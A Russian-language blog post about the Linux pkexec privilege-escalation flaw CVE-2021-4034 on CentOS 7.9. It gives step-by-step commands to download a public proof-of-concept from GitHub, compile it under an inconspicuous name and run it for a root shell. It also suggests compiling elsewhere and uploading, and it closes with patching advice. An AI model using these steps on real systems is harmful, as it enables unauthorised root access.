Популярная уязвимость множества версий Linux – CVE-2021-4034

Периодически проверяя свою систему свеженьким linPEAS натыкался на упоминание об одной уязвимости с кодом CVE-2021-4034, позволяющей организовать выполнение кода в контексте рута при помощи /usr/bin/pkexec, имеющего suid бит =) Классика.

И вот решил покзаать, среди прочего, как можно быстро использовать эту возможность. Чисто в ознакомительных целях, разумеется.

Итак, имеем CentOS 7.9 “из коробки”. Единственное требование – установленный компилятор “gcc”, но если админ собирал какие-то модули прямо на серваке, то 99% там уже будет установлено всё, что вам нужно.

Исходный код эксплойта уже есть много где, достаточно погуглить CVE-шку и ключевое слово “PoC” (Proof of Concept). Я же нашёл вот ссыль: https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c

Качаем любимым способом:

$ wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c

Компилируем исходник во что-нибудь с непримечательным именем. Я компильну так:

$ gcc cve-2021-4034-poc.c -o litladmin_exploit

и файл появится в текущем каталоге с исполняемым флагом. Кстати, в отсутствии компилятора всегда можно собрать файл на другом серваке и просто закачать его туда.

После запуска файла увидим изменение контекста и … у нас права рута. Та-дамс!

Кстати, можем не получать интерактивный шелл, а просто выполнить некоторые команды от имени рута. Достаточно немного поменять шелл-код в исходнике:

Как защититься?

Обновляем систему в общем (yum update -y) и polkit в частности (yum install -y polkit).

Интересно? Поделись с другом
Litl-Admin.ru

Comments:

Leave a Reply